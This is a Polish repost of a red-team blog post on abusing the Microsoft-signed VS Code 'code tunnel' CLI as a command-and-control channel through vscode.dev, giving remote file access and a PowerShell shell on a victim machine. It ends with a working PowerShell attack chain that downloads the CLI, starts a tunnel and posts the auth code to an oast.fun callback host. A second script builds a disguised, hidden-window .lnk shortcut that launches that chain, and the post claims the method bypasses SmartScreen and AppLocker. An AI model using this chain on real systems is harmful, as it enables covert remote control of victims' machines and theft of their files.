Let's Go (VS) Code — styl Red Team

blaszczakm.blogspot.com 1 rok temu

Podpisany i hostowany przez firmę Microsoft Reverse Shell code.exe dzięki Visual Studio


MS oferuje podpisany plik binarny (code.exe), który ustanowi kanał Command&Control za pośrednictwem oficjalnej domeny Microsoft https://vscode.dev. Sama komunikacja C2 idzie do https://global.rel.tunnels.api.visualstudio.com przez WebSockets. Atakujący potrzebuje tylko konta Github.

https://badoption.eu/docs/blog/2023/01/31/code_c2.html

Ostatnio przeglądałem dokumentację MS i natknąłem się na te dwie strony.

https://code.visualstudio.com/docs/remote/tunnels

https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

Dokumentacja tuneli VSCode

Więc co my tu mamy? VSCode jest w stanie nawiązać połączenie ze zdalnym systemem.

  • Dobra, dobrze, ponieważ zdalne debuggery nie są nowe, nie tak ekscytujące, ale wszystko się poprawi.

Na końcu strony coś sprawia, iż ​​rzeczy stają się trochę bardziej ekscytujące. Using the 'code' CLI

Dobra, jest do tego przenośny plik binarny, fajnie.

This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel/<machine_name>/<folder_name>. You can open this URL on a client of your choosing.

Dobra, jest domena MS, hosting kanału C2, sytuacja się poprawia. Plik binarny VSCode jest również zgodny z proxy i przenośny.

Działanie

Jeśli otrzymamy wykonanie kodu na kliencie i tutaj po prostu założymy, iż to mamy, możemy wprowadzić przenośną wersję VSCode, kod CLI. Jeśli VSCode jest już zainstalowany, możemy po prostu trzymać się zainstalowanej wersji, nie ma to znaczenia. Zanurzmy się w krokach.

Przygotuj klienta

Ponieważ plik binarny jest podpisany przez Microsoft, nie musimy zajmować się Mark-of-the-Web, ponieważ zostanie on zignorowany, a także ominiemy Smartscreen. W połączeniu z niektórymi sztuczkami, które zobaczymy później, ominiemy także Applocker i Powershell Constrained Language Mode, jeżeli są w domyślnej konfiguracji.

Certyfikat pliku binarnego jest następujący: Code.exe podpisany przez MS

  • Uruchom plik binarny na kliencie.
PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*
✔ Do you accept the terms in the License Agreement (Y/n)? · yes
To grant access to the server, please log into https://github.com/login/device and use code 71BC-3082
...
  • Postępujemy zgodnie z instrukcjami i otwieramy podany adres URL w naszym systemie atakującym. Zobaczymy uwierzytelnianie kodu urządzenia, znane z Azure. Uwierzytelnianie kodu urządzenia Github

  • Następnie zostanie ustanowiony tunel kodu.

PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*

Open this link in your browser https://vscode.dev/tunnel/itsmeC2/C:/temp

Połącz przez przeglądarkę lub VSCode

Robimy więc, co nam kazano, i otwieramy stronę w przeglądarce na naszej maszynie atakującego.

Otrzymujemy ładny projekt roboczy na maszynie ofiary. Poprzez adres URL możemy kontrolować ścieżkę, co oznacza, iż ​​jeśli użyjemy po prostu C: uzyskamy dostęp do wszystkich plików w systemie, w granicach uprawnień użytkownika. Więc otwórz https://vscode.dev/tunnel/itsmeC2/C: i dodaj C: do obszaru roboczego.

Przeglądarka plików w miejscu docelowym

Fajnie, możemy zdalnie przeglądać, czytać i edytować wszystkie pliki.

Przeglądanie plików jest przyjemne, ale co z wykonywaniem poleceń? Po prostu mówimy: Menue -> Terminal -> New Terminal Remote Powershell session

i otrzymujemy fajną zdalną sesję Powershell na kliencie.

Remoteshell ma wszystko, czego chcemy

  • Dostęp do historii
  • Podświetlanie składni
  • Zakończenie karty
  • Kontrola pracy - czyli interaktywna

Jest to dość responsywna, użyteczna zdalna sesja PowerShell.

Oprócz sesji Powershell istnieje kilka dodatkowych możliwości, takich jak uruchomienie zadania, „Uruchom i debuguj” plik lub możemy wykonać lokalne przekierowanie portów.

Fajną funkcją jest instalacja rozszerzeń na zdalnym hoście.

Na przykład możemy teraz uruchamiać niektóre skrypty Pythona, jeżeli Python był zainstalowany na głównej maszynie. Jedno zastrzeżenie jest takie, iż musimy zapisać plik na dysku, ale można to obejść. Uruchamianie Pythona dzięki zdalnie zainstalowanego rozszerzenia

Łączenie się przez VSCode Desktop jest proste, potrzebujesz tylko rozszerzenia, jak podano w oficjalnym MS Blogpost.

Zbuduj łańcuch ataków

Spróbujmy zbudować kompletny łańcuch ataków. Najpierw powinniśmy sprawdzić, czy możemy pozbyć się interaktywnej części uruchamiania tunelu i podać parametry w wierszu poleceń.

Możemy podać nazwę, aby uzyskać stałą nazwę instancji dla naszej sesji: .\code.exe tunnel --name itsmeC2V2

Następnie pojawia się problem z uwierzytelnieniem. Jeśli chodzi o https://github.com/microsoft/vscode/issues/170013 , musimy użyć tokena odświeżania Github OAuth do uwierzytelnienia.

Nie udało mi się uruchomić uwierzytelniania tokena Github OAuth, więc konieczny był dodatkowy krok, wysyłając kod urządzenia do usługi takiej jak https://app.interactsh.com/#/

Bardzo prosty łańcuch, bez zaciemniania, mógłby wyglądać mniej więcej tak.

cd C:\tmp #change folder
iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip #download binary
Expand-Archive vscode.zip #Expand the zip
cd vscode
.\code.exe tunnel user logout #logout previous user, if existing
Start-Sleep 3
Start-Process -FilePath .\code.exe -ArgumentList "tunnel --name Ooooopsie2000" -RedirectStandardOutput .\output.txt #start tunnel and redirect the output to a txt file
Start-Sleep 3
iwr -uri cf8ryhj2vtc0000w93v0g8wcxjyyyyyyb.oast.fun -Method Post -Body (Get-Content .\output.txt) #Post output to interact.sh for the code

Możemy zbudować skrót, aby uruchomić łańcuch.

#Payload
$EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
$pay = 'cd C:\tmp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -ArgumentList "tunnel","--name","Ooooopsie2000" -RedirectStandardOutput .\output.txt; Start-Sleep 3; iwr -uri cf9dk1w2vtc0000vhr10g8ws3ohyyyyyb.oast.fun -Method Post -Body (Get-Content .\output.txt)'
$arguments = " -nop -c $pay"

#lnk file
$LNKName = 123
$obj = New-Object -ComObject WScript.Shell
$link = $obj.CreateShortcut((Get-Location).Path + "\" + $LNKName + ".lnk")
$link.WindowStyle = '7'
$link.TargetPath = $EXEPath
$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$link.Arguments = $arguments
$link.Save()

Idź do oryginalnego materiału